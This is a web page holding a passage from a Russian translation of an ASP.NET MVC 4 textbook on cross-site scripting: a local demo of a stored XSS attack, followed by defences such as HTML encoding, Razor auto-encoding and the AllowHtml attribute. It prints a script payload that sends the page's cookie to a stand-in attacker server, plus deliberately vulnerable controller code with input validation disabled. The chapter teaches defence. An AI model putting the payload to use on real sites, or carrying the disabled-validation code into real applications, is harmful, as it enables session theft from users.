Главная страница   /   8.2. Межсайтовый скриптинг (ASP.NET MVC 4 в действии

ASP.NET MVC 4 в действии

ASP.NET MVC 4 в действии

Джеффри Палермо

8.2. Межсайтовый скриптинг

Межсайтовый скриптинг (XSS) - это метод, при котором злоумышленник манипулирует системой так, что на уязвимом сайте появляется специальный JavaScript, который далее выполняется браузером.

Обычно этот вредоносный скрипт отправляет запрос на сторонний сайт, содержащий конфиденциальные данные. Это - межсайтовая часть. Пользователь помещает скрипт на одном сайте, который посылает конфиденциальные данные другому сайту. Цель хакера в том, чтобы заставить скрипт работать на уязвимом сайте.

XSS в действии

В исходном коде для этой книги есть пример решения для Visual Studio, который вы можете запустить для моделирования локальной XSS-атаки. Он содержит два простых приложения ASP.NET MVC. Одно из них уязвимо для XSS-атак в нескольких наиболее популярных браузерах. Оно содержит простую страницу добавления комментариев. Мы добавим комментарий с JavaScript, и наш уязвимый сайт обработает его как обычный код. Другой сайт - взломщик. Он просто собирает добавленные комментарии, чтобы мы могли видеть, сработала ли наша атака.

Подготовка примера

Когда вы запустите пример решения для Visual Studio (как правило, с Ctrl-F5), оба сайта появятся в браузере. Уязвимый сайт устанавливает куки, якобы содержащую конфиденциальные данные. Второй сайт - взломщик, и он будет собирать данные от нашего злоумышленного запроса. На сайте-взломщике есть страница с надписью "No victims yet." После того, как мы инициируем атаку, она будет отображать секретную куку.

На уязвимом сайте файл кука был установлен с помощью следующего кода, который является стандартным для назначения куки.

public ActionResult Index()
{
	var cookie = new HttpCookie("mvcinaction", "secret");
	Response.SetCookie(cookie);
	return View();
}

Когда кука создана, мы можем сыграть роль хакера на странице комментариев, как показано на рисунке 8-2.

Рисунок 8-2: Страница комментариев

Мы добавили кнопку, которая будет автоматически вставлять вредоносный комментарий в текстовое поле:

A long comment <script>document.write('<img
src=http://localhost:8082/attack/register?input='
+escape(document.cookie)+ '/>')</script>

Этот комментарий включает в себя скрипт, который записывает HTML в браузер. HTML содержит изображение с атрибутом src, которое вовсе не является изображением, но браузер этого не знает. Браузер отправляет запрос на атакующий сервер с кукой в строке запроса.

После того, как мы сохраним комментарий, скрипт будет выполняться на следующей странице, на которой отображается комментарий, как показано на рисунке 8-3.

Рисунок 8-3: Комментарий - вредоносный скрипт выполняется без ведома посетителя

Мы не видим здесь ничего странного, но вредоносный скрипт есть в HTML-источнике:

<p>Comment:</p>
<p>
	A long comment <script>document.write(
	'<img src=http://localhost:8082/attack/
	register?input=' +escape(document.cookie)
	+ '/>')</script>
</p>

Конечно, браузер исправно отвечает на этот скрипт и посылает куку атакующему сайту. Когда мы перезагружаем атакующий сайт, мы видим, что атака была выполнена, как показано на рисунке 8-4. Другой сайт получил наш куку.

Рисунок 8-4: Взлом завершен – кука была отправлена атакующему сайту

Теперь, когда мы увидели XSS в действии, давайте разберем способ защиты нашего приложения от этой уязвимости.

Как избежать уязвимости XSS

Никогда не доверяйте входным данным. Никогда, нигде и ни в коем случае не рассчитывайте на чистые входные данные. Будет ли пользователем человек или машина, опасные входные данные – это корневой вектор атаки в XSS. Не доверяйте их данным при вводе, и, конечно, не доверяйте им при рендеринге. Это - основа.

Кодируйте все

Одной из угроз безопасности в нашем примере приложения является то, что оно обрабатывает контент «как есть» (из-за чего и был выполнен скрипт), а не рассматривает его как текст. Вместо этого, мы должны были закодировать комментарий в HTML.

Кодирование в HTML преобразует текст из HTML, который интерпретируется браузером, в символы, которые браузер отображает без интерпретации. Вместо того, чтобы проанализировать и выполнить наш скрипт, браузер просто отобразит его как текст, что показано на рисунке 8-5.

Рисунок 8-5: Наш скрипт отображается безвредно

К счастью, по умолчанию представления Razor автоматически кодируют в HTML все входные данные, поэтому, если вы работаете с Razor, вам не нужно беспокоиться о чистке пользовательского ввода вручную.

Отключение HTML-кодирования в представлениях Razor

Если вы просматриваете исходный код для этой главы, вы увидите, что автоматическое HTML-кодирование в действительности было отключено, чтобы проиллюстрировать уязвимость XSS. Это делается с помощью метода Html.Raw, чтобы выходные данные обрабатывались как сырой HTML, а не как текст, который нужно закодировать.

Этот метод полезен, если вам нужно вывести содержимое переменной, которая содержит HTML (например, для системы CMS, которая позволяет пользователю определять разметку HTML), но вы должны знать, что он также открывает двери для XSS-атак, если вы используете его для отображения нефильтрованного пользовательского ввода.

Если вы используете движок представлений Web Form (который был движком по умолчанию для MVC 1 и 2), вы должны знать, что есть два типа синтаксиса для вывода содержимого от серверного блока:

<%= Model.Comment %>
<%: Model.Content %>

Первый тип синтаксиса не кодирует вывод автоматически, но второй кодирует. Так что, если вы используете движок представлений Web Form, вам следует выбрать второй тип.

В дополнение к кодировке вывода, можно также использовать MVC для валидации вводимых данных.

Автоматическая валидация ввода

По умолчанию ASP.NET MVC автоматически проверяет данные запроса, чтобы гарантировать, что они не содержат потенциально опасной разметки. Однако это не всегда желательно. Иногда у вас будут приложения, которые требуют от пользователя ввести HTML-разметку (или другие данные, которые валидатор может принять за HTML, например, XML), поэтому такое поведение можно выключить.

На самом деле, чтобы создать наш пример уязвимости, мы должны были отключить эту функцию, применив к действию атрибут ValidateInput:

[ValidateInput(false)]
public ViewResult Save(CommentInput form)
{
	return View(form);
}

Когда для него установлено значение false, атрибут ValidateInput указывает ASP.NET пропустить обычную проверку на наличие вредоносного содержимого. Без этого атрибута будет проведена валидация по умолчанию: проверка строки запроса, формы и куки на наличие вредоносного содержимого. Если этот атрибут не отменяет валидацию, пользователи, отправляющие небезопасные входные данные, увидят исключение, показанное на рисунке 8-6.

Рисунок 8-6: ASP.NET защищает от вредоносного ввода

Вместо отключения валидации входных данных для всего действия контроллера, мы можем внести в белый список индивидуальные свойства, оставляя проверку запросов везде включенной. Например, вместо применения ValidateInput(false) ко всему действию, мы можем добавить атрибут AllowHtml к свойству Comment нашей модели:

public class CommentInput
{
	public string Name { get; set; }
	[AllowHtml]
	public string Comment { get; set; }
}

Таким образом, у нас будет более детальный контроль над тем, какие свойства позволяют ввод HTML, а какие нет.

Валидация ввода может предотвратить ввод безопасных данных, если приложение ожидает HTML или другую разметку. Ее нужно отключать с крайней осторожностью, и вы должны удвоить усилия по HTML-кодированию всех выходных данных.

Более умные и безопасные браузеры

Chrome 4+ и расширение Firefox NoScript обеспечивают валидацию входных данных на стороне клиента. Они отказываются обработать любой скрипт, который присутствовал в предыдущем запросе. Хотя эти меры не безотказны, они все еще полезны для пользователей, которые они могут их применить для защиты от определенных уязвимостей веб-приложений, таких как XSS.

Благодаря этому нелегко запустить XSS в ASP.NET MVC. Но это возможно, и все разработчики должны сделать все необходимое, чтобы обезопасить себя от этой общей атаки. Далее мы рассмотрим XSRF, еще одну распространенную уязвимость в веб-приложениях.